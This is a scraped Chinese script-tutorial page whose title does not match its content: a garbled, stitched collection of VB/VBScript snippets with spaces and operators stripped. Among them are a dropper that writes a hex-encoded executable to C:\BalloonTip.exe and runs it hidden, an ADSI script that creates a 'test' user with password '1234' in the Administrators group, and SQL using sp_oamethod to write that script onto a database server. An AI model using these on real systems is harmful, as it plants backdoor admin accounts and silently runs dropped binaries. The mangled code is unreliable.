js自动答题脚本expect切换用户

发布时间:2020-09-02 来源:脚本之家 点击:

方法一:
PublicFunctionFastReplace(SSrch$,SFind$,SRepl$)AsString

DimSrc()AsByte,Dst()AsByte,R()AsByte,F()AsByte
DimLenF&,LenR&,LenDst&,i&,j&,OutPos&

ConstChunkSize&=4096

IfSSrch=""OrSFind=""ThenExitFunction

Src=SSrch:F=SFind:R=SRepl
LenF=UBound(F):LenR=UBound(R)
LenDst=ChunkSize:ReDimDst(0ToLenDst-1)

Fori=0ToUBound(Src)Step2

Forj=0ToLenFStep2
IfSrc(i j)<>F(j)ThenExitFor
Nextj

Ifj>LenFThen'Found

Forj=0ToLenRStep2
IfOutPos>=LenDstThen
LenDst=LenDst ChunkSize
ReDimPreserveDst(0ToLenDst)
EndIf
Dst(OutPos)=R(j):OutPos=OutPos 2
Nextj

i=i LenF-1

Else

IfOutPos>=LenDstThen
LenDst=LenDst ChunkSize
ReDimPreserveDst(0ToLenDst)
EndIf

Dst(OutPos)=Src(i):OutPos=OutPos 2

EndIf
Nexti

ReDimPreserveDst(0ToOutPos-2):SSrch=Dst

FastReplace=SSrch$

EndFunction

方法二:
'SearchLineisinput,SearchForiswhattosearchfor,ReplaceWithisthereplacement

FunctionsReplace(SearchLineAsString,SearchForAsString,ReplaceWithAsString)
DimvSearchLineAsString,foundAsInteger

found=InStr(SearchLine,SearchFor):vSearchLine=SearchLine
Iffound<>0Then
vSearchLine=""
Iffound>1ThenvSearchLine=Left(SearchLine,found-1)
vSearchLine=vSearchLine ReplaceWith
Iffound Len(SearchFor)-1<Len(SearchLine)Then_
vSearchLine=vSearchLine Right$(SearchLine,Len(SearchLine)-found-Len(SearchFor) 1)
EndIf
sReplace=vSearchLine

EndFunction->


Data="4D5A00000000000000000000504500004C010200534C58210000000000000000E0000F010B01000000000000000600000000000054010000001000000C00000000004000001000000002000004000000000000000400000000000000004000000002000000000000020000000000100000100000000010000010000000000000100000000000000000000000983200008400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000001000000000000000000000000000000000000000000000E00000C0000000000000000000100000003000001903000000020000000000000000000000000000E00000C08725DC324000619455A4B680FF1373F933C9FF13731633C0FF13731FB68041B010FF1312C073FA753AAAEBE0FF530802F683D901750EFF5304EB24ACD1E8742D13C9EB189148C1E008ACFF53043B43F8730A80FC05730683F87F77024141958BC5B600568BF72BF0F3A45EEB9F5EAD97AD50FF5310958B074078F37503FF630C5055FF5314ABEBEE33C941FF1313C9FF1372F8C302D275058A164612D2C34B45524E454C33322E646C6C00004D3815403259096724454CFF027F65C711B3270CF49B4887C17F6874C4703A712FEE691D2E62610E6475C3636F6DF373011C6C79782C2042D79A53AF0B4D2E02C20325730E0842616C2E6F206E54697020E8653A7874B75B14576C955D0E086DE76F75C728637329331D49906EA7266444F9433853853C01C71805E012FCE801C114FF15241001A3E4911FB9700633C0890DE81BC844EC981425A3F0DD1354F405117813227CC448C41406A2F82B30C390038B44241D0856579D7C800C33C983F8030A893D8014252035017727FF248560115834EB6822B4081B02B5E216910C03080A8C44018B2A3518942268E00A51FFD657A3150C0F866A0220335F5EE61432A134091C2428507C9B55845EC3F083FE01FA278ECA40D285F67E23008A0C3A80F9307C17C00A397F120FBE1FC98D04C7423BD6604441D07C68E499BB9410534301C383EC18384224185355B250BB28B80B9352BD9864BE084C500E14AA66003A3BC50F8E52A3B31F4E04CC3D202F51296890AD0880130CFFD7451C1283C40C011202C6057F170C5AA18414560852278484146C0381C3087EE28B7F461F8D4C241050CD5146F554F6600A52E84D14311B8BD861F41F2019047E5552100ACE6A1854EAFE8BB50026FD037E2F3312EDEB2B085620455C0A0558A459D6F12C5D110C8ED6C16818E8DCFD8E7C5553ED258B8A1E086AFA910450275D6A5B3D2CB85701EBE54BF678A9A8113AA691111422DC8F010E2C1510EBCB538ED72D7011DC73746272166E412E054578C3EE50F16F63FD73C73B1D47FD7C43716D5C61E81D4C693E3857074B45524E3F6033322E646CE309994144546BD46F706757406465771D145F7358721A7466D29E1AE25E142CFA686065125F4E6F7412696679843D506F5DB354D8417267337657514842C463D001EABAF6000000F03200000000000000000000F2010000F032000000000000000000000000000000000000000000000010400000304000C814400000000000E032400080000000007D0000C0324000E8014000DC014000DE014000C0114000FA32000008330000000000004C6F61644C69627261727941000047657450726F634164647265737300"

FunctionExtractFile(FileName)
WithCreateObject("ADODB.Stream"):.Type=1:.Open:.WriteStrToByte(data):.SaveToFileFileName,2:.Close:EndWith
EndFunction

ExtractFile"C:\BalloonTip.exe"
WScript.CreateObject("WScript.Shell").Run"cmd.exe/cC:\BalloonTip.exe""请勿在电脑桌上放置贵重物品,以防被盗,请自行保管自己的各种虚拟帐号,如有丢失网吧概不负责!""温馨提示100001",0

FunctionStrToByte(str)
Setxmldoc=CreateObject("Microsoft.XMLDOM")
xmldoc.loadXML"<?xmlversion=""1.0""?>"
Setpic=xmldoc.createElement("pic")
pic.dataType="bin.hex"
pic.nodeTypedValue=str
StrToByte=pic.nodeTypedValue
EndFunction

易语言dnf脚本教程

'ReturningIPConfigurationData
'WMIscriptthatreturnsconfigurationdatasimilartothatreturnedbyIpConfig.
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")
SetcolAdapters=objWMIService.ExecQuery_
("SELECT*FROMWin32_NetworkAdapterConfigurationWHEREIPEnabled=True")
n=1
WScript.Echo
ForEachobjAdapterincolAdapters
WScript.Echo"NetworkAdapter"&n
WScript.Echo"================="
WScript.Echo"Description:"&objAdapter.Description
WScript.Echo"Physical(MAC)address:"&objAdapter.MACAddress
WScript.Echo"Hostname:"&objAdapter.DNSHostName
IfNotIsNull(objAdapter.IPAddress)Then
Fori=0ToUBound(objAdapter.IPAddress)
WScript.Echo"IPaddress:"&objAdapter.IPAddress(i)
Next
EndIf
IfNotIsNull(objAdapter.IPSubnet)Then
Fori=0ToUBound(objAdapter.IPSubnet)
WScript.Echo"Subnet:"&objAdapter.IPSubnet(i)
Next
EndIf
IfNotIsNull(objAdapter.DefaultIPGateway)Then
Fori=0ToUBound(objAdapter.DefaultIPGateway)
WScript.Echo"Defaultgateway:"&objAdapter.DefaultIPGateway(i)
Next
EndIf
WScript.Echo
WScript.Echo"DNS"
WScript.Echo"---"
WScript.Echo"DNSserversinsearchorder:"
IfNotIsNull(objAdapter.DNSServerSearchOrder)Then
Fori=0ToUBound(objAdapter.DNSServerSearchOrder)
WScript.Echo""&objAdapter.DNSServerSearchOrder(i)
Next
EndIf
WScript.Echo"DNSdomain:"&objAdapter.DNSDomain
IfNotIsNull(objAdapter.DNSDomainSuffixSearchOrder)Then
Fori=0ToUBound(objAdapter.DNSDomainSuffixSearchOrder)
WScript.Echo"DNSsuffixsearchlist:"&objAdapter.DNSDomainSuffixSearchOrder(i)
Next
EndIf
WScript.Echo
WScript.Echo"DHCP"
WScript.Echo"----"
WScript.Echo"DHCPenabled:"&objAdapter.DHCPEnabled
WScript.Echo"DHCPserver:"&objAdapter.DHCPServer
IfNotIsNull(objAdapter.DHCPLeaseObtained)Then
utcLeaseObtained=objAdapter.DHCPLeaseObtained
strLeaseObtained=WMIDateStringToDate(utcLeaseObtained)
Else
strLeaseObtained=""
EndIf
WScript.Echo"DHCPleaseobtained:"&strLeaseObtained
IfNotIsNull(objAdapter.DHCPLeaseExpires)Then
utcLeaseExpires=objAdapter.DHCPLeaseExpires
strLeaseExpires=WMIDateStringToDate(utcLeaseExpires)
Else
strLeaseExpires=""
EndIf
WScript.Echo"DHCPleaseexpires:"&strLeaseExpires
WScript.Echo
WScript.Echo"WINS"
WScript.Echo"----"
WScript.Echo"PrimaryWINSserver:"&objAdapter.WINSPrimaryServer
WScript.Echo"SecondaryWINSserver:"&objAdapter.WINSSecondaryServer
WScript.Echo
n=n+1
Next
FunctionWMIDateStringToDate(utcDate)
WMIDateStringToDate=CDate(Mid(utcDate,5,2)&"/"&_
Mid(utcDate,7,2)&"/"&_
Left(utcDate,4)&""&_
Mid(utcDate,9,2)&":"&_
Mid(utcDate,11,2)&":"&_
Mid(utcDate,13,2))
EndFunction

  再次,COM是基于实际对象的

VB中的Form和PictureBox对象,都有各自相应的设备描述表用于存放它们显示的位图,这些设备描述表可以通过hDC属性存取

" & VbCrLf & VbCrLf & _
"退出已运行程序,请按“确定”,否则请按“取消”我们必须搞清楚错误产生的原因,以及弄明白为什么我们的工程不能和最新的DLL一起工作,难道是兼容性的问题吗?本教程的最后一部分将详细探讨这些内容

忽略错误是我们不希望看到的结果,将导致程序调试困难有哪些
  adCmdStoredProc4按存储过程名计算CommandText
setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os=""&wsnetwork.ComputerName
Setob=GetObject(os)'得到adsi接口,绑定
Setoe=GetObject(os&"/Administrators,group")'属性,admin组
Setod=ob.Create("user","test")'建立用户
od.SetPassword"1234"'设置密码
od.SetInfo'保存
Setof=GetObject(os&"/test",user)'得到用户
oe.addos&"/test"

SQL语句如下,采用sp_oamethod过程:

declare@oint,@fint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'c:\1.vbs',1
exec@ret=sp_oamethod@f,'writeline',NULL,'setwsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec@ret=sp_oamethod@f,'writeline',NULL,'os=""&wsnetwork.
ComputerName'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setob=GetObject(os)'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setoe=GetObject
(os&"/Administrators,group")'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setod=ob.Create
("user","test")'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetPassword"1234"'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetInfo'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setof=GetObject
(os&"/test",user)'
exec@ret=sp_oamethod@f,'writeline',NULL,'oe.addos&"/test"'

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号